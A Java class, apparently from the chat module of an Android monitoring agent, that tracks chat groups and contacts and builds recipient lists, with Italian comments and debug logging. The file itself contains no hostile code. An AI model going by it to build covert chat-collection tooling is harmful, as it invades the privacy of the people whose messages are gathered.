package com.android.dvci.module.chat; import java.util.HashSet; import java.util.Hashtable; import java.util.Set; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; /* Gestore di gruppi di utenti nelle chat */ public class ChatGroups { private static final String TAG = "ChatGroups"; private static final int F_ID = 0; private static final int F_NUMBER = 1; private static final int F_NAME = 2; Contact contact; Hashtable<String, Contact> contacts = new Hashtable<String, Contact>(); final Hashtable<String, Set<String>> groups = new Hashtable<String, Set<String>>(); final Hashtable<String, String> tos = new Hashtable<String, String>(); public void addLocalToAllGroups(String local) { for (String key : groups.keySet()) { groups.get(key).add(local); } } public void addPeerToGroup(String groupName, String remote) { addPeerToGroup(groupName, new Contact(remote)); } /* * identificato un gruppo si aggiunge, uno alla volta con questo metodo, un * peer */ public void addPeerToGroup(String groupName, Contact remote) { if (Cfg.DEBUG) { Check.requires(isGroup(groupName), "peer is not a group: " + groupName); Check.log("Adding group " + groupName + " : " + remote.id + "," + remote.name); } Set<String> set; if (!groups.containsKey(groupName)) { set = new HashSet<String>(); } else { set = groups.get(groupName); } set.add(remote.id); contacts.put(remote.id, remote); groups.put(groupName, set); } Contact getContact(String id) { try { return contacts.get(id); } catch (NullPointerException ex) { if (Cfg.DEBUG) { Check.log(TAG + " (getContact) Error: " + ex); } return null; } } /* dato un autore e un gruppo, restituisce la stringa di tutti i destinatari */ private String getGroupTo(String author, String groupname, int field) { if (Cfg.DEBUG) { Check.requires(author != null, "null author"); Check.requires(groupname != null, "null groupname"); // Check.log(TAG + " (getGroupTo) %s, %s", author, groupname); } String key = author + groupname; if (tos.contains(key)) { return tos.get(key); } Set<String> set = groups.get(groupname); if (set == null) { return null; } StringBuilder builder = new StringBuilder(); for (String cid : set) { if (Cfg.DEBUG) { Check.asserts(cid != null, " (getGroupTo) Assert failed, cid null"); } Contact c = contacts.get(cid); if (c != null && !author.equals(c.number) && !author.equals(cid)) { if (field == F_ID) { builder.append(c.id); } else if (field == F_NUMBER){ builder.append(c.number); } else { builder.append(c.name); } builder.append(","); } } String value = builder.toString(); if (value.endsWith(",")) { value = value.substring(0, value.length() - 1); } tos.put(key, value); return value; } String getGroupToDisplayName(String author, String groupname) { return getGroupTo(author, groupname, F_NAME); } String getGroupToId(String author, String groupname) { return getGroupTo(author, groupname, F_ID); } public String getGroupToName(String author, String groupname) { return getGroupTo(author, groupname, F_NUMBER); } /* dato un peer, dice se e' un gruppo */ boolean isGroup(String peer) { return true; }; /* verifica che il gruppo sia gia' presente */ public boolean hasMemoizedGroup(String groupName) { if (Cfg.DEBUG) { Check.log(TAG + " (hasMemoizedGroup) : " + groupName + " : " + groups.containsKey(groupName)); } return groups.containsKey(groupName); } public Set<String> getAllGroups() { return groups.keySet(); } public String getName(String from_id) { Contact c = contacts.get(from_id); if (c != null) { return c.name; } return null; } public int size() { return groups.size(); } }